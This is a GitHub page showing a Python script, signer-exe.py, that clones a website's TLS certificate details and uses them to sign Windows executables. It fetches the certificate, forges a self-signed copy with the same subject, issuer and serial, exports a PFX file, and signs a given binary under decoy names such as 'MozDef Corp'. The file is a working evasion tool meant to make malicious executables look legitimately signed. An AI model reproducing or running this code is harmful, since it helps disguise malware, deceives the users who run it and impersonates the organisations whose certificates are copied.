-
Notifications
You must be signed in to change notification settings - Fork 0
/
signer-exe.py
80 lines (63 loc) · 2.55 KB
/
signer-exe.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from OpenSSL import crypto
from sys import argv, platform
from pathlib import Path
import shutil
import ssl
import os
import subprocess
TIMESTAMP_URL = "http://sha256timestamp.ws.symantec.com/sha256/timestamp"
print("\033[1m\033[36m")
def CarbonCopy(host, port, signee, signed):
try:
# Fetching Details
ogcert = ssl.get_server_certificate((host, int(port)))
x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert)
certDir = Path('certs')
certDir.mkdir(exist_ok=True)
# Creating Fake Certificate
CNCRT = certDir / (host + ".crt")
CNKEY = certDir / (host + ".key")
PFXFILE = certDir / (host + ".pfx")
# Creating Keygen
k = crypto.PKey()
k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits()))
cert = crypto.X509()
# Setting Cert details from loaded from the original Certificate
cert.set_version(x509.get_version())
cert.set_serial_number(x509.get_serial_number())
cert.set_subject(x509.get_subject())
cert.set_issuer(x509.get_issuer())
cert.set_notBefore(x509.get_notBefore())
cert.set_notAfter(x509.get_notAfter())
cert.set_pubkey(k)
cert.sign(k, 'sha256')
CNCRT.write_bytes(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
CNKEY.write_bytes(crypto.dump_privatekey(crypto.FILETYPE_PEM, k))
try:
pfx = crypto.PKCS12()
except AttributeError:
pfx = crypto.PKCS12Type()
pfx.set_privatekey(k)
pfx.set_certificate(cert)
pfxdata = pfx.export()
PFXFILE.write_bytes(pfxdata)
if platform == "win32":
shutil.copy(signee, signed)
subprocess.check_call(["signtool.exe", "sign", "/v", "/f", PFXFILE,
"/d", "MozDef Corp", "/tr", TIMESTAMP_URL,
"/td", "SHA256", "/fd", "SHA256", signed])
else:
args = ("osslsigncode", "sign", "-pkcs12", PFXFILE,
"-n", "Notepad Benchmark Util", "-i", TIMESTAMP_URL,
"-in", signee, "-out", signed)
subprocess.check_call(args)
except Exception as ex:
print("[X] Something Went Wrong!\n[X] Exception: " + str(ex))
def main():
if len(argv) != 5:
print("[+] Descr: Entre the Cert you want to Clone\n[!] Usage: " + argv[
0] + " <hostname> <port> <build-executable> <signed-executable>\n")
else:
CarbonCopy(argv[1], argv[2], argv[3], argv[4])
if __name__ == "__main__":
main()